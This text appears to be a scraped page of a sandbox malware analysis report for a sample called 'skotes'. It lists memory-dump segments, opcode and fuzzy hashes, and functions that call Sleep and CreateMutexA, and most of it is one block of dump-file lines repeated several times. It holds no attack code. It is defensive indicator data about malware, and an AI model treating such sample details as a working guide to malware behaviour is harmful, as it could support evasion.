Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 83db8659962236d94c37450c8b1c76a336fb9b6afad8b4ecf76847e9397be24d
Instruction ID: 8f14370140be16ab0c7a26dc0e8a972aa26a1bbd1e755239c8f82aeb46e5d3bc
Opcode Fuzzy Hash: 83db8659962236d94c37450c8b1c76a336fb9b6afad8b4ecf76847e9397be24d
Instruction Fuzzy Hash: D9E08C7044550CAECF357B18CC19D8D3BA9EB63744F084850FE284A235CB35EE82CAA0

Function 00B79BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9564be5881e248b2de4dcd587febac2b58331e3c339bb27bb670d5dc66a8eaa8
Instruction ID: e0643fe87d2dc80fc79f34f2241b947c8d9830cd5c3572778fac7ce27f72eaf0
Opcode Fuzzy Hash: 9564be5881e248b2de4dcd587febac2b58331e3c339bb27bb670d5dc66a8eaa8
Instruction Fuzzy Hash: E5315B716042049BEB08EB78DDC975DBBE2DBC6310F24C299E028973D6D7759981C752

Function 00B79F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7768bc6b58352feafefd3ab69dabfd6c250f061ba6fee7bf7b3ccb086e75233a
Instruction ID: a015f4ca1086b18e283d5fde4f87b9bd4cc7e9f45c09029446d817614ba96628
Opcode Fuzzy Hash: 7768bc6b58352feafefd3ab69dabfd6c250f061ba6fee7bf7b3ccb086e75233a
Instruction Fuzzy Hash: 6A315B316042049BEB08EB78DD9476DB7E2EBC5310F24C699E128DB3D1DB35A980C752

Function 00B7A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a01eab34f05619ea8478584bb06d8cb8836a97cd3b0c98df917592d7786ecc66
Instruction ID: 120ae745cbb740fbc304590269ef8b0730ef834982709bb99f84873da6884a8f
Opcode Fuzzy Hash: a01eab34f05619ea8478584bb06d8cb8836a97cd3b0c98df917592d7786ecc66
Instruction Fuzzy Hash: 533127316042049BEB48DB68DD8976DB7E2DBC6314F24C699E128A77D1DB369980C713

Function 00B7A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 594c05e39ba9607541d83927a97bbcb244d67a03cd6c1eb58831f894406fcd78
Instruction ID: 3e26c61d7d5d4d33c742ae77148468deadeffee5f0af570c2658eafd3d0f7962
Opcode Fuzzy Hash: 594c05e39ba9607541d83927a97bbcb244d67a03cd6c1eb58831f894406fcd78
Instruction Fuzzy Hash: 46311831A042049FEB48EB68DDC975DBBE2EBC6310F248299E528A77D1DB3599808712

Function 00B7A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5355ab35eebe2947e0f2706c35df762f2e6648884856d1a09437a2d902a0b8ef
Instruction ID: 00ee56cf16d15f85845b2fe99aa7b8b5eb2113d499edfaa9bdf260608563e456
Opcode Fuzzy Hash: 5355ab35eebe2947e0f2706c35df762f2e6648884856d1a09437a2d902a0b8ef
